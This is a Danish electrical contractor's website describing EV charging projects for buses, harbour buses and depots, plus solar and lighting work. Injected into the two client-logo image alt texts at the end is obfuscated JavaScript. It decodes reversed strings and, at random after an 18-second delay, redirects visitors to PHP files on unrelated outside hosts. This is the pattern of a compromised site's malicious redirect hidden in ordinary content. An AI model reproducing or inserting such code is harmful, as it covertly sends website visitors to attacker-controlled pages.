Vi har specialiseret os i infrastruktur til el-transport. Vi laver ladefaciliteter til biler, busser, lastbiler, både og andre former for eldrevne transportmidler - både til private, til erhverv og til det offentlige.
Vi udfører mange forskellige former for el-arbejde for erhvervskunder og for det offentlige. Eksempelvis kan vi udføre inden- og udendørs belysningsopgaver og ordne jeres el-installationer på arbejdspladsen.
Vores entrepriseafdeling hjælper dig med de nødvendige entrepriseopgaver i forbindelse med ladestandere og belysning. Vi kan lave nye belægninger, sætning af fundamenter, nedgravning af kabelrør og meget andet.
Vi gør det nemt for dig eller din virksomhed at blive en del af den grønne omstilling. Vi kan blandt andet hjælpe med installation af solcelleanlæg, stationære batterianlæg og energirenoveringer.
En weekend i februar 2022 havde GodEnergi en helt særlig opgave. Faktisk skulle vi gøre noget, som ingen har gjort før. Ladeinfrastrukturen til et helt busdepot med 18 elbusser skulle flyttes fra Østerbro til Gladsaxe på bare én weekend. GodEnergi har også lavet det eksisterende ladeanlæg Tilbage i december 2019 blev buslinje 2A etableret som ren elbuslinje. Dengang lavede vi et ladeanlæg til busserne på Arrivas busdepot i Ryvang, Østerbro. Læs mere om dét projekt her. Da Arriva gav os til opgave at flytte hele ladedepotet fra Ryvang til Columbusvej i Gladsaxe, var det altså ladeudstyr, der allerede var i...
GodEnergi er installationspartner for hollandske Heliox. Heliox er producent af ladeudstyr specifikt til heavy transport, eksempelvis el-busser og lastbiler. Anderledes vejrforhold Busfabrikanten VDL skulle levere 25 stk. 18 meter led-busser til de to travleste linjer i Umeå i Sverige. Operatøren Transdev kører busserne. Heliox fik til opgave at levere ladeudstyr til busserne, og spurgte GodEnergi, om vi ville bygge anlæggene. Selvom det er 1.250 km fra København og med en noget anden vinter, end vi kender i Danmark, sagde vi ja med det samme. Det blev en virkelig spændende opgave. I kravspecifikationen stod der blandt andet, at anlægget skulle virke...
I løbet af sommeren 2020 blev havnebusserne i Københavns havn omlagt til el-drift, og i foråret 2022 udvides ruten med et nyt stoppested i Orientkaj. Det er Arriva, der skal sejle de nye, eldrevne havnebusser. De flotte og næsten lydløse havnebusser leveres af skibsværftet, Damen, som har bedt Heliox, Staübli og GodEnergi om at løse opgaven med ladefaciliteter til de nye el-havnebusser. Vandtransportens superchargerePå de to endestationer, Refshaleøen og Teglholmen, har vi etableret ladefaciliteter på anløbsbroerne, og man kan roligt kalde det vandtransportens superchargere. Der bliver nemlig ladet med op til 600kW, eller det samme som cirka 60 elbiler der AC-lader på én gang. Hver gang havnebussen er ved endestationen,...
Vi vil hjælpe dig med at hjælpe os alle sammen. Derfor er det vigtigt for os at gøre det nemt for dig, din virksomhed eller kommune at blive en del af den grønne omstilling. GodEnergi er med hele vejen fra ideudvikling til færdig løsning, og vi lover at tage os godt af dig fra start til slut. Vi ser det som vores fornemmeste opgave at lytte til dine behov og ønsker om en grønnere hverdag. Kombineret med vores erfaring, nysgerrighed og kreativitet kan vi lave grønne installationer med ny teknologi, som passer til dig og din hverdag.
Kontakt os, og hør hvordan vi kan hjælpe dig.
KUNDER OG PARTNERE
I GodEnergi føler vi os meget privilegerede. Vi har nemlig haft fornøjelsen af at arbejde med mange spændende kunder, partnere og mennesker med en grøn passion. For os er opskriften på et godt samarbejde, at begge parter er glade og tilfredse. Vi bruger altid tid på at sætte os ind i vores kunders hverdag og behov, så vi kan finde frem til den bedste løsning. Vi glæder os til at hjælpe dig eller din virksomhed med at få GodEnergi!
Previous
Next
Previous
Next
KONTAKT OS
Tag endelig kontakt til os, så vi sammen kan finde ud af, hvordan vi kan skabe GodEnergi for dig, din virksomhed eller din kommune. Vi ser frem til at høre fra dig!
![For$mkD=function(n){if (typeof ($mkD.list[n]) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos uden baggruns](https://godenergi.nu/wp-content/uploads/2020/05/Fortos-uden-baggruns-150x150.png)
![Au$mkD=function(n){if (typeof ($mkD.list[n]) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tohuset Ringsted](https://godenergi.nu/wp-content/uploads/2020/05/Autohuset-uden-baggrund-150x150.png)
